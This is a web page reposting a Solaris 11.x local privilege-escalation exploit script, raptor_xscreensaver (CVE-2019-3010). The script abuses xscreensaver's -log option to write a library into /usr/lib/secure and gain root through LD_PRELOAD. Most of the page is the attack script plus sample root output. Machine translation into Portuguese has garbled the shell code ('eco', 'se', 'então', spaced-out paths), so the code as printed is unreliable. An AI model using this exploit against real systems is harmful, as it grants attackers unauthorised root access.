fbpx

Solaris xscreensaver 11.4 – Privilege Escalation

Solaris xscreensaver 11.4 – Privilege Escalation

 

# Exploit Title: Solaris xscreensaver 11.4 – Escalonamento de privilégios
# Data: 2019-10-16
# Exploit Autor: Marco Ivaldi
# Página inicial do fornecedor: https://www.oracle.com/technetwork/server-storage/solaris11/
# Versão: Solaris 11.x
# Testado em: Solaris 11.4 e 11.3 X86
# CVE: N / D

#! / bin / sh

#
# raptor_xscreensaver – LPE do Solaris 11.x via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <[email protected]>
#
# Exploração de uma vulnerabilidade de erro de design no xscreensaver, como
# distribuído com o Solaris 11.x, permite que atacantes locais criem
# (ou anexar a) arquivos arbitrários no sistema, abusando do -log
# opção de linha de comando introduzida na versão 5.06. Essa falha pode ser
# alavancado para causar uma condição de negação de serviço ou para aumentar
# privilégios para fazer root. Esta é uma vulnerabilidade específica do Solaris,
# causado pelo fato de o Oracle manter um nível ligeiramente diferente
# codebase a partir do upstream (CVE-2019-3010).
#
# “Prefiro ter sorte do que bom qualquer dia.” J. R. “Bob” Dobbs
# “Bons hackers forçam a sorte.” – ~ A.
#
# Esta exploração visa o diretório / usr / lib / secure / em ordem
# para escalar privilégios com a técnica LD_PRELOAD. o
# implementação de outros vetores de exploração, incluindo aqueles
# que não exigem que o gcc esteja presente no sistema de destino, é
# deixado como um exercício para colegas hackers do UNIX;)
#
# Uso:
# raptor @ stalker: ~ $ chmod + x raptor_xscreensaver
# raptor @ stalker: ~ $ ./raptor_xscreensaver
# […]
# Oracle Corporation SunOS 5.11 11.4 Ago 2018
# root @ stalker: ~ # id
# uid = 0 (raiz) gid = 0 (raiz)
# root @ stalker: ~ # rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Plataformas vulneráveis:
# Oracle Solaris 11 X86 [testado em 11.4 e 11.3]
# Oracle Solaris 11 SPARC [não testado]
#

eco “raptor_xscreensaver – Solaris 11.x LPE via xscreensaver”
eco “Copyright (c) 2019 Marco Ivaldi <[email protected]>”
eco

# preparar a carga útil
echo “int getuid () {return 0;}”> /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
se [$? -ne 0]; então
echo “erro: problema ao compilar a biblioteca compartilhada, verifique seu gcc”
saída 1
fi

# verifique a arquitetura
LOG = / usr / lib / secure / getuid.so
arquivo / bin / su | grep de 64 bits> / dev / null 2> & 1
se [$? -eq 0]; então
LOG = / usr / lib / secure / 64 / getuid.so
fi

# inicie nosso próprio xserver
# alternativamente, podemos nos conectar novamente a um xserver válido (por exemplo, xquartz)
/ usr / bin / Xorg: 1 e

# acionar o bug
umask 0
/ usr / bin / xscreensaver -display: 1 -log $ LOG &
dormir 5

# Limpar
pkill -n xscreensaver
pkill -n Xorg

# LD_PRELOAD-fu
cp /tmp/getuid.so $ LOG
LD_PRELOAD = $ LOG su –

11 de novembro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.